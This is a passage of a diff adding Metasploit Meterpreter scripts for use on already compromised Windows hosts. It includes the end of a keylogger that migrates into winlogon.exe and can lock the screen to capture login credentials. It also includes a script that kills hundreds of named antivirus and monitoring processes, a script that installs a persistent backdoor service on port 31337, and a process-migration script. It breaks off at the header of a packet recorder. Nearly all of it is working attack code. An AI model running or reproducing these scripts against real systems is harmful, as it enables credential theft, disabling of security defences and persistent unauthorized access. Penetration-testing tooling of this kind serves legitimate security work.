"-l" => [ false, "Lock screen when capturing Winlogon credentials."],
|
||||
"-k" => [ false, "Kill old Process"]
|
||||
)
|
||||
def usage
|
||||
print_line("Keylogger Recorder Meterpreter Script")
|
||||
print_line("This script will start the Meterpreter Keylogger and save all keys")
|
||||
print_line("in a log file for later anlysis. To stop capture hit Ctrl-C")
|
||||
print_line("Usage:" + @@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
||||
#Get Hostname
|
||||
host,port = session.session_host, session.session_port
|
||||
|
||||
# Create Filename info to be appended to downloaded files
|
||||
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
||||
|
||||
# Create a directory for the logs
|
||||
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'keylogrecorder')
|
||||
|
||||
# Create the log directory
|
||||
::FileUtils.mkdir_p(logs)
|
||||
|
||||
#logfile name
|
||||
logfile = logs + ::File::Separator + host + filenameinfo + ".txt"
|
||||
|
||||
#Interval for collecting Keystrokes in seconds
|
||||
keytime = 30
|
||||
|
||||
#Type of capture
|
||||
captype = 2
|
||||
# Function for locking the screen -- Thanks for the idea and API call Mubix
|
||||
def lock_screen
|
||||
print_status("Locking Screen...")
|
||||
lock_info = client.railgun.user32.LockWorkStation()
|
||||
if lock_info["GetLastError"] == 0
|
||||
print_status("Screen has been locked")
|
||||
else
|
||||
print_error("Screen lock Failed")
|
||||
end
|
||||
end
|
||||
#Function to Migrate in to Explorer process to be able to interact with desktop
|
||||
def explrmigrate(session,captype,lock,kill)
|
||||
#begin
|
||||
if captype.to_i == 0
|
||||
process2mig = "explorer.exe"
|
||||
elsif captype.to_i == 1
|
||||
if is_uac_enabled?
|
||||
print_error("UAC is enabled on this host! Winlogon migration will be blocked.")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
process2mig = "winlogon.exe"
|
||||
if lock
|
||||
lock_screen
|
||||
end
|
||||
else
|
||||
process2mig = "explorer.exe"
|
||||
end
|
||||
# Actual migration
|
||||
mypid = session.sys.process.getpid
|
||||
session.sys.process.get_processes().each do |x|
|
||||
if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
|
||||
print_status("\t#{process2mig} Process found, migrating into #{x['pid']}")
|
||||
session.core.migrate(x['pid'].to_i)
|
||||
print_status("Migration Successful!!")
|
||||
|
||||
if (kill)
|
||||
begin
|
||||
print_status("Killing old process")
|
||||
client.sys.process.kill(mypid)
|
||||
print_status("Old process killed.")
|
||||
rescue
|
||||
print_status("Failed to kill old process.")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return true
|
||||
# rescue
|
||||
# print_status("Failed to migrate process!")
|
||||
# return false
|
||||
# end
|
||||
end
|
||||
|
||||
#Function for starting the keylogger
|
||||
def startkeylogger(session)
|
||||
begin
|
||||
#print_status("Grabbing Desktop Keyboard Input...")
|
||||
#session.ui.grab_desktop
|
||||
print_status("Starting the keystroke sniffer...")
|
||||
session.ui.keyscan_start
|
||||
return true
|
||||
rescue
|
||||
print_status("Failed to start Keylogging!")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def write_keylog_data session, logfile
|
||||
data = session.ui.keyscan_dump
|
||||
outp = ""
|
||||
data.unpack("n*").each do |inp|
|
||||
fl = (inp & 0xff00) >> 8
|
||||
vk = (inp & 0xff)
|
||||
kc = VirtualKeyCodes[vk]
|
||||
|
||||
f_shift = fl & (1<<1)
|
||||
f_ctrl = fl & (1<<2)
|
||||
f_alt = fl & (1<<3)
|
||||
|
||||
if(kc)
|
||||
name = ((f_shift != 0 and kc.length > 1) ? kc[1] : kc[0])
|
||||
case name
|
||||
when /^.$/
|
||||
outp << name
|
||||
when /shift|click/i
|
||||
when 'Space'
|
||||
outp << " "
|
||||
else
|
||||
outp << " <#{name}> "
|
||||
end
|
||||
else
|
||||
outp << " <0x%.2x> " % vk
|
||||
end
|
||||
end
|
||||
|
||||
sleep(2)
|
||||
|
||||
if(outp.length > 0)
|
||||
file_local_write(logfile,"#{outp}\n")
|
||||
end
|
||||
end
|
||||
|
||||
# Function for Collecting Capture
|
||||
def keycap(session, keytime, logfile)
|
||||
begin
|
||||
rec = 1
|
||||
#Creating DB for captured keystrokes
|
||||
file_local_write(logfile,"")
|
||||
|
||||
print_status("Keystrokes being saved in to #{logfile}")
|
||||
#Inserting keystrokes every number of seconds specified
|
||||
print_status("Recording ")
|
||||
while rec == 1
|
||||
#getting and writing Keystrokes
|
||||
write_keylog_data session, logfile
|
||||
|
||||
sleep(keytime.to_i)
|
||||
end
|
||||
rescue::Exception => e
|
||||
print_status "Saving last few keystrokes"
|
||||
write_keylog_data session, logfile
|
||||
|
||||
print("\n")
|
||||
print_status("#{e.class} #{e}")
|
||||
print_status("Stopping keystroke sniffer...")
|
||||
session.ui.keyscan_stop
|
||||
end
|
||||
end
|
||||
|
||||
# Parsing of Options
|
||||
|
||||
helpcall = 0
|
||||
lock = false
|
||||
kill = false
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-t"
|
||||
keytime = val
|
||||
when "-c"
|
||||
captype = val
|
||||
when "-h"
|
||||
usage
|
||||
when "-l"
|
||||
lock = true
|
||||
when "-k"
|
||||
kill = true
|
||||
end
|
||||
}
|
||||
if client.platform =~ /win32|win64/
|
||||
if (captype.to_i == 2)
|
||||
if startkeylogger(session)
|
||||
keycap(session, keytime, logfile)
|
||||
end
|
||||
elsif explrmigrate(session,captype,lock, kill)
|
||||
if startkeylogger(session)
|
||||
keycap(session, keytime, logfile)
|
||||
end
|
||||
end
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
619
scripts/meterpreter/killav.rb
Normal file
619
scripts/meterpreter/killav.rb
Normal file
@ -0,0 +1,619 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Meterpreter script that kills all Antivirus processes
|
||||
# Provided by: Jerome Athias <jerome.athias [at] free.fr>
|
||||
#
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ]
|
||||
)
|
||||
def usage
|
||||
print_line("Usage:" + @@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
end
|
||||
}
|
||||
|
||||
print_status("Killing Antivirus services on the target...")
|
||||
|
||||
avs = %W{
|
||||
AAWTray.exe
|
||||
Ad-Aware.exe
|
||||
MSASCui.exe
|
||||
_avp32.exe
|
||||
_avpcc.exe
|
||||
_avpm.exe
|
||||
aAvgApi.exe
|
||||
ackwin32.exe
|
||||
adaware.exe
|
||||
advxdwin.exe
|
||||
agentsvr.exe
|
||||
agentw.exe
|
||||
alertsvc.exe
|
||||
alevir.exe
|
||||
alogserv.exe
|
||||
amon9x.exe
|
||||
anti-trojan.exe
|
||||
antivirus.exe
|
||||
ants.exe
|
||||
apimonitor.exe
|
||||
aplica32.exe
|
||||
apvxdwin.exe
|
||||
arr.exe
|
||||
atcon.exe
|
||||
atguard.exe
|
||||
atro55en.exe
|
||||
atupdater.exe
|
||||
atwatch.exe
|
||||
au.exe
|
||||
aupdate.exe
|
||||
auto-protect.nav80try.exe
|
||||
autodown.exe
|
||||
autotrace.exe
|
||||
autoupdate.exe
|
||||
avconsol.exe
|
||||
ave32.exe
|
||||
avgcc32.exe
|
||||
avgctrl.exe
|
||||
avgemc.exe
|
||||
avgnt.exe
|
||||
avgrsx.exe
|
||||
avgserv.exe
|
||||
avgserv9.exe
|
||||
avguard.exe
|
||||
avgw.exe
|
||||
avkpop.exe
|
||||
avkserv.exe
|
||||
avkservice.exe
|
||||
avkwctl9.exe
|
||||
avltmain.exe
|
||||
avnt.exe
|
||||
avp.exe
|
||||
avp.exe
|
||||
avp32.exe
|
||||
avpcc.exe
|
||||
avpdos32.exe
|
||||
avpm.exe
|
||||
avptc32.exe
|
||||
avpupd.exe
|
||||
avsched32.exe
|
||||
avsynmgr.exe
|
||||
avwin.exe
|
||||
avwin95.exe
|
||||
avwinnt.exe
|
||||
avwupd.exe
|
||||
avwupd32.exe
|
||||
avwupsrv.exe
|
||||
avxmonitor9x.exe
|
||||
avxmonitornt.exe
|
||||
avxquar.exe
|
||||
backweb.exe
|
||||
bargains.exe
|
||||
bd_professional.exe
|
||||
beagle.exe
|
||||
belt.exe
|
||||
bidef.exe
|
||||
bidserver.exe
|
||||
bipcp.exe
|
||||
bipcpevalsetup.exe
|
||||
bisp.exe
|
||||
blackd.exe
|
||||
blackice.exe
|
||||
blink.exe
|
||||
blss.exe
|
||||
bootconf.exe
|
||||
bootwarn.exe
|
||||
borg2.exe
|
||||
bpc.exe
|
||||
brasil.exe
|
||||
bs120.exe
|
||||
bundle.exe
|
||||
bvt.exe
|
||||
ccapp.exe
|
||||
ccevtmgr.exe
|
||||
ccpxysvc.exe
|
||||
cdp.exe
|
||||
cfd.exe
|
||||
cfgwiz.exe
|
||||
cfiadmin.exe
|
||||
cfiaudit.exe
|
||||
cfinet.exe
|
||||
cfinet32.exe
|
||||
claw95.exe
|
||||
claw95cf.exe
|
||||
clean.exe
|
||||
cleaner.exe
|
||||
cleaner3.exe
|
||||
cleanpc.exe
|
||||
click.exe
|
||||
cmd.exe
|
||||
cmd32.exe
|
||||
cmesys.exe
|
||||
cmgrdian.exe
|
||||
cmon016.exe
|
||||
connectionmonitor.exe
|
||||
cpd.exe
|
||||
cpf9x206.exe
|
||||
cpfnt206.exe
|
||||
ctrl.exe
|
||||
cv.exe
|
||||
cwnb181.exe
|
||||
cwntdwmo.exe
|
||||
datemanager.exe
|
||||
dcomx.exe
|
||||
defalert.exe
|
||||
defscangui.exe
|
||||
defwatch.exe
|
||||
deputy.exe
|
||||
divx.exe
|
||||
dllcache.exe
|
||||
dllreg.exe
|
||||
doors.exe
|
||||
dpf.exe
|
||||
dpfsetup.exe
|
||||
dpps2.exe
|
||||
drwatson.exe
|
||||
drweb32.exe
|
||||
drwebupw.exe
|
||||
dssagent.exe
|
||||
dvp95.exe
|
||||
dvp95_0.exe
|
||||
ecengine.exe
|
||||
efpeadm.exe
|
||||
emsw.exe
|
||||
ent.exe
|
||||
esafe.exe
|
||||
escanhnt.exe
|
||||
escanv95.exe
|
||||
espwatch.exe
|
||||
ethereal.exe
|
||||
etrustcipe.exe
|
||||
evpn.exe
|
||||
exantivirus-cnet.exe
|
||||
exe.avxw.exe
|
||||
expert.exe
|
||||
explore.exe
|
||||
f-agnt95.exe
|
||||
f-prot.exe
|
||||
f-prot95.exe
|
||||
f-stopw.exe
|
||||
fameh32.exe
|
||||
fast.exe
|
||||
fch32.exe
|
||||
fih32.exe
|
||||
findviru.exe
|
||||
firewall.exe
|
||||
fnrb32.exe
|
||||
fp-win.exe
|
||||
fp-win_trial.exe
|
||||
fprot.exe
|
||||
frw.exe
|
||||
fsaa.exe
|
||||
fsav.exe
|
||||
fsav32.exe
|
||||
fsav530stbyb.exe
|
||||
fsav530wtbyb.exe
|
||||
fsav95.exe
|
||||
fsgk32.exe
|
||||
fsm32.exe
|
||||
fsma32.exe
|
||||
fsmb32.exe
|
||||
gator.exe
|
||||
gbmenu.exe
|
||||
gbpoll.exe
|
||||
generics.exe
|
||||
gmt.exe
|
||||
guard.exe
|
||||
guarddog.exe
|
||||
hacktracersetup.exe
|
||||
hbinst.exe
|
||||
hbsrv.exe
|
||||
hotactio.exe
|
||||
hotpatch.exe
|
||||
htlog.exe
|
||||
htpatch.exe
|
||||
hwpe.exe
|
||||
hxdl.exe
|
||||
hxiul.exe
|
||||
iamapp.exe
|
||||
iamserv.exe
|
||||
iamstats.exe
|
||||
ibmasn.exe
|
||||
ibmavsp.exe
|
||||
icload95.exe
|
||||
icloadnt.exe
|
||||
icmon.exe
|
||||
icsupp95.exe
|
||||
icsuppnt.exe
|
||||
idle.exe
|
||||
iedll.exe
|
||||
iedriver.exe
|
||||
iexplorer.exe
|
||||
iface.exe
|
||||
ifw2000.exe
|
||||
inetlnfo.exe
|
||||
infus.exe
|
||||
infwin.exe
|
||||
init.exe
|
||||
intdel.exe
|
||||
intren.exe
|
||||
iomon98.exe
|
||||
istsvc.exe
|
||||
jammer.exe
|
||||
jdbgmrg.exe
|
||||
jedi.exe
|
||||
kavlite40eng.exe
|
||||
kavpers40eng.exe
|
||||
kavpf.exe
|
||||
kazza.exe
|
||||
keenvalue.exe
|
||||
kerio-pf-213-en-win.exe
|
||||
kerio-wrl-421-en-win.exe
|
||||
kerio-wrp-421-en-win.exe
|
||||
kernel32.exe
|
||||
killprocesssetup161.exe
|
||||
launcher.exe
|
||||
ldnetmon.exe
|
||||
ldpro.exe
|
||||
ldpromenu.exe
|
||||
ldscan.exe
|
||||
lnetinfo.exe
|
||||
loader.exe
|
||||
localnet.exe
|
||||
lockdown.exe
|
||||
lockdown2000.exe
|
||||
lookout.exe
|
||||
lordpe.exe
|
||||
lsetup.exe
|
||||
luall.exe
|
||||
luau.exe
|
||||
lucomserver.exe
|
||||
luinit.exe
|
||||
luspt.exe
|
||||
mapisvc32.exe
|
||||
mcagent.exe
|
||||
mcmnhdlr.exe
|
||||
mcshield.exe
|
||||
mctool.exe
|
||||
mcupdate.exe
|
||||
mcvsrte.exe
|
||||
mcvsshld.exe
|
||||
md.exe
|
||||
mfin32.exe
|
||||
mfw2en.exe
|
||||
mfweng3.02d30.exe
|
||||
mgavrtcl.exe
|
||||
mgavrte.exe
|
||||
mghtml.exe
|
||||
mgui.exe
|
||||
minilog.exe
|
||||
mmod.exe
|
||||
monitor.exe
|
||||
moolive.exe
|
||||
mostat.exe
|
||||
mpfagent.exe
|
||||
mpfservice.exe
|
||||
mpftray.exe
|
||||
mrflux.exe
|
||||
msapp.exe
|
||||
msbb.exe
|
||||
msblast.exe
|
||||
mscache.exe
|
||||
msccn32.exe
|
||||
mscman.exe
|
||||
msconfig.exe
|
||||
msdm.exe
|
||||
msdos.exe
|
||||
msiexec16.exe
|
||||
msinfo32.exe
|
||||
mslaugh.exe
|
||||
msmgt.exe
|
||||
msmsgri32.exe
|
||||
mssmmc32.exe
|
||||
mssys.exe
|
||||
msvxd.exe
|
||||
mu0311ad.exe
|
||||
mwatch.exe
|
||||
n32scanw.exe
|
||||
nav.exe
|
||||
navap.navapsvc.exe
|
||||
navapsvc.exe
|
||||
navapw32.exe
|
||||
navdx.exe
|
||||
navlu32.exe
|
||||
navnt.exe
|
||||
navstub.exe
|
||||
navw32.exe
|
||||
navwnt.exe
|
||||
nc2000.exe
|
||||
ncinst4.exe
|
||||
ndd32.exe
|
||||
neomonitor.exe
|
||||
neowatchlog.exe
|
||||
netarmor.exe
|
||||
netd32.exe
|
||||
netinfo.exe
|
||||
netmon.exe
|
||||
netscanpro.exe
|
||||
netspyhunter-1.2.exe
|
||||
netstat.exe
|
||||
netutils.exe
|
||||
nisserv.exe
|
||||
nisum.exe
|
||||
nmain.exe
|
||||
nod32.exe
|
||||
normist.exe
|
||||
norton_internet_secu_3.0_407.exe
|
||||
notstart.exe
|
||||
npf40_tw_98_nt_me_2k.exe
|
||||
npfmessenger.exe
|
||||
nprotect.exe
|
||||
npscheck.exe
|
||||
npssvc.exe
|
||||
nsched32.exe
|
||||
nssys32.exe
|
||||
nstask32.exe
|
||||
nsupdate.exe
|
||||
nt.exe
|
||||
ntrtscan.exe
|
||||
ntvdm.exe
|
||||
ntxconfig.exe
|
||||
nui.exe
|
||||
nupgrade.exe
|
||||
nvarch16.exe
|
||||
nvc95.exe
|
||||
nvsvc32.exe
|
||||
nwinst4.exe
|
||||
nwservice.exe
|
||||
nwtool16.exe
|
||||
ollydbg.exe
|
||||
onsrvr.exe
|
||||
optimize.exe
|
||||
ostronet.exe
|
||||
otfix.exe
|
||||
outpost.exe
|
||||
outpostinstall.exe
|
||||
outpostproinstall.exe
|
||||
padmin.exe
|
||||
panixk.exe
|
||||
patch.exe
|
||||
pavcl.exe
|
||||
pavproxy.exe
|
||||
pavsched.exe
|
||||
pavw.exe
|
||||
pccwin98.exe
|
||||
pcfwallicon.exe
|
||||
pcip10117_0.exe
|
||||
pcscan.exe
|
||||
pdsetup.exe
|
||||
periscope.exe
|
||||
persfw.exe
|
||||
perswf.exe
|
||||
pf2.exe
|
||||
pfwadmin.exe
|
||||
pgmonitr.exe
|
||||
pingscan.exe
|
||||
platin.exe
|
||||
pop3trap.exe
|
||||
poproxy.exe
|
||||
popscan.exe
|
||||
portdetective.exe
|
||||
portmonitor.exe
|
||||
powerscan.exe
|
||||
ppinupdt.exe
|
||||
pptbc.exe
|
||||
ppvstop.exe
|
||||
prizesurfer.exe
|
||||
prmt.exe
|
||||
prmvr.exe
|
||||
procdump.exe
|
||||
processmonitor.exe
|
||||
procexplorerv1.0.exe
|
||||
programauditor.exe
|
||||
proport.exe
|
||||
protectx.exe
|
||||
pspf.exe
|
||||
purge.exe
|
||||
qconsole.exe
|
||||
qserver.exe
|
||||
rapapp.exe
|
||||
rav7.exe
|
||||
rav7win.exe
|
||||
rav8win32eng.exe
|
||||
ray.exe
|
||||
rb32.exe
|
||||
rcsync.exe
|
||||
realmon.exe
|
||||
reged.exe
|
||||
regedit.exe
|
||||
regedt32.exe
|
||||
rescue.exe
|
||||
rescue32.exe
|
||||
rrguard.exe
|
||||
rshell.exe
|
||||
rtvscan.exe
|
||||
rtvscn95.exe
|
||||
rulaunch.exe
|
||||
run32dll.exe
|
||||
rundll.exe
|
||||
rundll16.exe
|
||||
ruxdll32.exe
|
||||
safeweb.exe
|
||||
sahagent.exe
|
||||
save.exe
|
||||
savenow.exe
|
||||
sbserv.exe
|
||||
sc.exe
|
||||
scam32.exe
|
||||
scan32.exe
|
||||
scan95.exe
|
||||
scanpm.exe
|
||||
scrscan.exe
|
||||
serv95.exe
|
||||
setup_flowprotector_us.exe
|
||||
setupvameeval.exe
|
||||
sfc.exe
|
||||
sgssfw32.exe
|
||||
sh.exe
|
||||
shellspyinstall.exe
|
||||
shn.exe
|
||||
showbehind.exe
|
||||
smc.exe
|
||||
sms.exe
|
||||
smss32.exe
|
||||
soap.exe
|
||||
sofi.exe
|
||||
sperm.exe
|
||||
spf.exe
|
||||
sphinx.exe
|
||||
spoler.exe
|
||||
spoolcv.exe
|
||||
spoolsv32.exe
|
||||
spyxx.exe
|
||||
srexe.exe
|
||||
srng.exe
|
||||
ss3edit.exe
|
||||
ssg_4104.exe
|
||||
ssgrate.exe
|
||||
st2.exe
|
||||
start.exe
|
||||
stcloader.exe
|
||||
supftrl.exe
|
||||
support.exe
|
||||
supporter5.exe
|
||||
svc.exe
|
||||
svchostc.exe
|
||||
svchosts.exe
|
||||
svshost.exe
|
||||
sweep95.exe
|
||||
sweepnet.sweepsrv.sys.swnetsup.exe
|
||||
symproxysvc.exe
|
||||
symtray.exe
|
||||
sysedit.exe
|
||||
system.exe
|
||||
system32.exe
|
||||
sysupd.exe
|
||||
taskmg.exe
|
||||
taskmgr.exe
|
||||
taskmo.exe
|
||||
taskmon.exe
|
||||
taumon.exe
|
||||
tbscan.exe
|
||||
tc.exe
|
||||
tca.exe
|
||||
tcm.exe
|
||||
tds-3.exe
|
||||
tds2-98.exe
|
||||
tds2-nt.exe
|
||||
teekids.exe
|
||||
tfak.exe
|
||||
tfak5.exe
|
||||
tgbob.exe
|
||||
titanin.exe
|
||||
titaninxp.exe
|
||||
tracert.exe
|
||||
trickler.exe
|
||||
trjscan.exe
|
||||
trjsetup.exe
|
||||
trojantrap3.exe
|
||||
tsadbot.exe
|
||||
tvmd.exe
|
||||
tvtmd.exe
|
||||
undoboot.exe
|
||||
updat.exe
|
||||
update.exe
|
||||
upgrad.exe
|
||||
utpost.exe
|
||||
vbcmserv.exe
|
||||
vbcons.exe
|
||||
vbust.exe
|
||||
vbwin9x.exe
|
||||
vbwinntw.exe
|
||||
vcsetup.exe
|
||||
vet32.exe
|
||||
vet95.exe
|
||||
vettray.exe
|
||||
vfsetup.exe
|
||||
vir-help.exe
|
||||
virusmdpersonalfirewall.exe
|
||||
vnlan300.exe
|
||||
vnpc3000.exe
|
||||
vpc32.exe
|
||||
vpc42.exe
|
||||
vpfw30s.exe
|
||||
vptray.exe
|
||||
vscan40.exe
|
||||
vscenu6.02d30.exe
|
||||
vsched.exe
|
||||
vsecomr.exe
|
||||
vshwin32.exe
|
||||
vsisetup.exe
|
||||
vsmain.exe
|
||||
vsmon.exe
|
||||
vsstat.exe
|
||||
vswin9xe.exe
|
||||
vswinntse.exe
|
||||
vswinperse.exe
|
||||
w32dsm89.exe
|
||||
w9x.exe
|
||||
watchdog.exe
|
||||
webdav.exe
|
||||
webscanx.exe
|
||||
webtrap.exe
|
||||
wfindv32.exe
|
||||
whoswatchingme.exe
|
||||
wimmun32.exe
|
||||
win-bugsfix.exe
|
||||
win32.exe
|
||||
win32us.exe
|
||||
winactive.exe
|
||||
window.exe
|
||||
windows.exe
|
||||
wininetd.exe
|
||||
wininitx.exe
|
||||
winlogin.exe
|
||||
winmain.exe
|
||||
winnet.exe
|
||||
winppr32.exe
|
||||
winrecon.exe
|
||||
winservn.exe
|
||||
winssk32.exe
|
||||
winstart.exe
|
||||
winstart001.exe
|
||||
wintsk32.exe
|
||||
winupdate.exe
|
||||
wkufind.exe
|
||||
wnad.exe
|
||||
wnt.exe
|
||||
wradmin.exe
|
||||
wrctrl.exe
|
||||
wsbgate.exe
|
||||
wupdater.exe
|
||||
wupdt.exe
|
||||
wyvernworksfirewall.exe
|
||||
xpf202en.exe
|
||||
zapro.exe
|
||||
zapsetup3001.exe
|
||||
zatutor.exe
|
||||
zonalm2601.exe
|
||||
zonealarm.exe
|
||||
}
|
||||
|
||||
client.sys.process.get_processes().each do |x|
|
||||
if (avs.index(x['name'].downcase))
|
||||
print_status("Killing off #{x['name']}...")
|
||||
client.sys.process.kill(x['pid'])
|
||||
end
|
||||
end
|
139
scripts/meterpreter/metsvc.rb
Normal file
139
scripts/meterpreter/metsvc.rb
Normal file
@ -0,0 +1,139 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Meterpreter script for installing the meterpreter service
|
||||
#
|
||||
|
||||
session = client
|
||||
|
||||
#
|
||||
# Options
|
||||
#
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "This help menu"],
|
||||
"-r" => [ false, "Uninstall an existing Meterpreter service (files must be deleted manually)"],
|
||||
"-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the service"]
|
||||
)
|
||||
|
||||
# Exec a command and return the results
|
||||
def m_exec(session, cmd)
|
||||
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
|
||||
b = ""
|
||||
while(d = r.channel.read)
|
||||
b << d
|
||||
end
|
||||
r.channel.close
|
||||
r.close
|
||||
b
|
||||
end
|
||||
|
||||
#
|
||||
# Default parameters
|
||||
#
|
||||
|
||||
based = File.join(Msf::Config.data_directory, "meterpreter")
|
||||
rport = 31337
|
||||
install = false
|
||||
autoconn = false
|
||||
remove = false
|
||||
if client.platform =~ /win32|win64/
|
||||
|
||||
#
|
||||
# Option parsing
|
||||
#
|
||||
opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
when "-A"
|
||||
autoconn = true
|
||||
when "-r"
|
||||
remove = true
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Create the persistent VBS
|
||||
#
|
||||
|
||||
if(not remove)
|
||||
print_status("Creating a meterpreter service on port #{rport}")
|
||||
else
|
||||
print_status("Removing the existing Meterpreter service")
|
||||
end
|
||||
|
||||
#
|
||||
# Upload to the filesystem
|
||||
#
|
||||
|
||||
tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
||||
print_status("Creating a temporary installation directory #{tempdir}...")
|
||||
client.fs.dir.mkdir(tempdir)
|
||||
|
||||
# Use an array of `from -> to` associations so that things
|
||||
# such as metsrv can be copied from the appropriate location
|
||||
# but named correctly on the target.
|
||||
bins = {
|
||||
'metsrv.x86.dll' => 'metsrv.dll',
|
||||
'metsvc-server.exe' => nil,
|
||||
'metsvc.exe' => nil
|
||||
}
|
||||
|
||||
bins.each do |from, to|
|
||||
next if (from != "metsvc.exe" and remove)
|
||||
to ||= from
|
||||
print_status(" >> Uploading #{from}...")
|
||||
fd = client.fs.file.new(tempdir + "\\" + to, "wb")
|
||||
path = (from == 'metsrv.x86.dll') ? MetasploitPayloads.meterpreter_path('metsrv','x86.dll') : File.join(based, from)
|
||||
fd.write(::File.read(path, ::File.size(path)))
|
||||
fd.close
|
||||
end
|
||||
|
||||
#
|
||||
# Execute the agent
|
||||
#
|
||||
if(not remove)
|
||||
print_status("Starting the service...")
|
||||
client.fs.dir.chdir(tempdir)
|
||||
data = m_exec(client, "metsvc.exe install-service")
|
||||
print_line("\t#{data}")
|
||||
else
|
||||
print_status("Stopping the service...")
|
||||
client.fs.dir.chdir(tempdir)
|
||||
data = m_exec(client, "metsvc.exe remove-service")
|
||||
print_line("\t#{data}")
|
||||
end
|
||||
|
||||
if(remove)
|
||||
m_exec(client, "cmd.exe /c del metsvc.exe")
|
||||
end
|
||||
|
||||
#
|
||||
# Setup the exploit/multi/handler if requested
|
||||
#
|
||||
if(autoconn)
|
||||
print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...")
|
||||
mul = client.framework.exploits.create("multi/handler")
|
||||
mul.datastore['WORKSPACE'] = client.workspace
|
||||
mul.datastore['PAYLOAD'] = "windows/metsvc_bind_tcp"
|
||||
mul.datastore['LPORT'] = rport
|
||||
mul.datastore['RHOST'] = client.session_host
|
||||
mul.datastore['ExitOnSession'] = false
|
||||
mul.exploit_simple(
|
||||
'Payload' => mul.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
end
|
||||
|
||||
else
|
||||
print_error("This version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
96
scripts/meterpreter/migrate.rb
Normal file
96
scripts/meterpreter/migrate.rb
Normal file
@ -0,0 +1,96 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Simple example script that migrates to a specific process by name.
|
||||
# This is meant as an illustration.
|
||||
#
|
||||
|
||||
|
||||
spawn = false
|
||||
kill = false
|
||||
target_pid = nil
|
||||
target_name = nil
|
||||
|
||||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-f" => [ false, "Launch a process and migrate into the new process"],
|
||||
"-p" => [ true , "PID to migrate to."],
|
||||
"-k" => [ false, "Kill original process."],
|
||||
"-n" => [ true, "Migrate into the first process with this executable name (explorer.exe)" ]
|
||||
)
|
||||
|
||||
opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-f"
|
||||
spawn = true
|
||||
when "-k"
|
||||
kill = true
|
||||
when "-p"
|
||||
target_pid = val.to_i
|
||||
when "-n"
|
||||
target_name = val.to_s
|
||||
when "-h"
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
else
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
}
|
||||
|
||||
# Creates a temp notepad.exe to migrate to depending the architecture.
|
||||
def create_temp_proc()
|
||||
# Use the system path for executable to run
|
||||
cmd = "notepad.exe"
|
||||
# run hidden
|
||||
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
return proc.pid
|
||||
end
|
||||
|
||||
# In case no option is provided show help
|
||||
if args.length == 0
|
||||
print_line(opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
### Main ###
|
||||
|
||||
if client.platform =~ /win32|win64/
|
||||
server = client.sys.process.open
|
||||
original_pid = server.pid
|
||||
print_status("Current server process: #{server.name} (#{server.pid})")
|
||||
|
||||
if spawn
|
||||
print_status("Spawning notepad.exe process to migrate to")
|
||||
target_pid = create_temp_proc
|
||||
end
|
||||
|
||||
if target_name and not target_pid
|
||||
target_pid = client.sys.process[target_name]
|
||||
if not target_pid
|
||||
print_status("Could not identify the process ID for #{target_name}")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
print_good("Migrating to #{target_pid}")
|
||||
client.core.migrate(target_pid)
|
||||
print_good("Successfully migrated to process #{}")
|
||||
rescue ::Exception => e
|
||||
print_error("Could not migrate in to process.")
|
||||
print_error(e)
|
||||
end
|
||||
|
||||
if kill
|
||||
print_status("Killing original process with PID #{original_pid}")
|
||||
client.sys.process.kill(original_pid)
|
||||
print_good("Successfully killed process with PID #{original_pid}")
|
||||
end
|
||||
end
|
219
scripts/meterpreter/packetrecorder.rb
Normal file
219
scripts/meterpreter/packetrecorder.rb
Normal file
@ -0,0 +1,219 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
